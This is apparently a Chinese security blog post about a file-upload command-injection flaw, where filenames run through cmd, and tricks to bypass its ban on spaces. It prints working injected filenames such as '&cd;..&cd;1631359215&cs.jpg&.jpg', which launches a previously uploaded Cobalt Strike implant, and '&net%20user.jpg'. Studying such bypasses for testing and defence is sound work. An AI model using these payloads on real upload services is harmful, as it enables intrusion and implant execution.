记一次“上传”命令执行的绕过案例

简介: 记一次“上传”命令执行的绕过案例

0x01 前言

前几天在“搞基大队”群里看到@六八老哥提到的一个问题,几个师傅都在讨论其绕过方式,自己也做了些测试,感觉还是挺有意思的,经老哥同意将这次讨论过程和绕过方式整理分享给大家。


这是一个基于上传的命令执行漏洞,以前还真没见过,虽然这种漏洞很少见,但如果遇到了你能绕过吗?欢迎各位师傅补充绕过姿势!


0x02 问题描述

遇到这样一个超级奇葩的利用点,文件上传时会把文件名放到cmd中去执行,但不允许出现空格,如果文件名中存在空格时则上传失败。

而且它这个系统每次上传会按时间戳创建一个文件夹, 它的存在导致每次上传执行,当前时间戳目录下只会存在一个文件,还有一个关键点就是后缀必须为jpg。

    C:\inetpub\wwwroot\1631023487\&dir&.jpg


    0x03 漏洞简述

    为什么后台是放到cmd中去执行的?因为它提供了这样一个功能,可以把图片或者文档转为pdf,后台是使用的一个exe程序,加文件路径去进行转换,可以通过控制文件名执行简单的命令。

    但是想去执行比如下载木马、添加账号等这些复杂一点的命令就不行了,只要出现空格就无法上传执行

    0x04 测试方法

    首先想到的绕过方式是以前测试过的“Windows环境变量截取绕过”,但在实际测试中发现不能用于这种场景,因为Windows文件命名规则中默认不允许使用这些字符:\、/、:、*、?、"、<、>、|

      %path:~10,1%
      %programfiles:~10,1%
      %processor_identifier:~7,1%
      %commonprogramw6432:~10,1%
      %commonprogramfiles(x86):~10,1%
      %commonprogramfiles:~10,1%
      %commonprogramfiles:~10,-18%
      %commonprogramfiles:~23,1%
      %fps_browser_app_profile_string:~8,1%
      [...SNIP...]


      本地搭建了一个上传漏洞,利用Burpsuite抓包,将上传文件数据包中文件名处的空格用%20进行解码发送后即可成功把带有空格命令的文件写进目标磁盘中,并且能够正常执行。

      注:这里必须将%20解码后再发送,否则会原样写入,文件名为:&net%20user.jpg。还有就是这个上传漏洞中是没有过滤空格等字符,如果已经过滤该绕过方式则可能无效。


      @六八老哥在测试中发现在cd中可以用,;等字符代替空格,但在跨目录时又发现不能用\,因为文件名中不允许出现\、/,最终测试出来可用于跨目录的cd命令如下。

        切换上级目录,不允许使用\/
        C:\inetpub\wwwroot\1631023487>cd;..\
        cd,..结合&连接符实现跨目录
        C:\inetpub\wwwroot>cd;..&cd;..&cd;windows&cd;system32


        0x05 绕过方式

        这个“上传”命令执行漏洞的关键点其实就是上传目录,文件名可控,然后再配合cd;..绕过空格垮目录,&命令连接就OK了。只要求后缀必须为jpg,文件名中不带空格即可。


        本地模拟测试:

        我们可以先将cs马改为cs.jpg传上去,目录在1631359215,然后再构造一个用于跨目录和执行cs马的jpg文件传上去,目录在1631023487,文件名为:&cd;..&cd;1631359215&cs.jpg&.jpg,上传执行后可以看到已经完美上线了。


        cmd /c C:\inetpub\wwwroot\1631023487\&cd;..&cd;1631359215&cs.jpg&.jpg


        注:由于没有环境进行复现测试,所以对实际情况并不是很清楚,可能更复杂些吧。说实话,在整理完这篇文章后对@六八老哥的文件落地这块都还处于蒙蔽状态,懒的再去研究了,就这样吧!!!

        相关文章
        |
        2月前
        |
        存储 安全 Shell
        上传漏洞利用时,没有回显上传目录怎么连接shell
        上传漏洞利用时,没有回显上传目录怎么连接shell
        |
        4月前
        |
        Web App开发 安全 云计算
        H3C任意命令执行漏洞
        H3C任意命令执行漏洞
        58 1
        |
        6月前
        |
        安全 Java Shell
        一篇文章讲明白LinuxShell远程执行命令(命令行与脚本方式)
        一篇文章讲明白LinuxShell远程执行命令(命令行与脚本方式)
        537 0
        |
        7月前
        |
        移动开发 前端开发
        VForm3的文件上传后的一种文件回显方式
        VForm3的文件上传后的一种文件回显方式
        144 0
        |
        7月前
        |
        运维 Shell
        Shell脚本判断IP是否合法性(多种方法)
        Shell脚本判断IP是否合法性(多种方法)
        |
        7月前
        |
        PHP
        远程代码与命令执行
        远程代码与命令执行
        41 0
        |
        安全 Linux 开发工具
        总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)
        &gt;🍀1复习一下以前的内容 &gt;🍀2总结整合一下过滤方法
        256 0
        总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)
        |
        PHP
        上传绕过——实验吧
        今天有时间就多写几篇解题思路吧,希望能够帮助到那些需要帮助的人,所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找,希望你们不要责怪!!共勉!!! 永远爱你们的————新宝宝 上传绕过分值:10 来源: Justatest 难度:易 参与人数:92...
        1422 0
        |
        Oracle 关系型数据库 网络架构
        [20171219]脚本执行的安全性.txt
        [20171219]脚本执行的安全性.txt --//昨天检查发现应用中存在一个奇怪的表名,存在怪字符,我估计维护者不熟悉vi操作,导致这种情况出现. --//最近一直在关注安全方面的信息,这方面一直是自己的弱项,要防别人攻击,必须知道别人如何攻击的.
        1124 0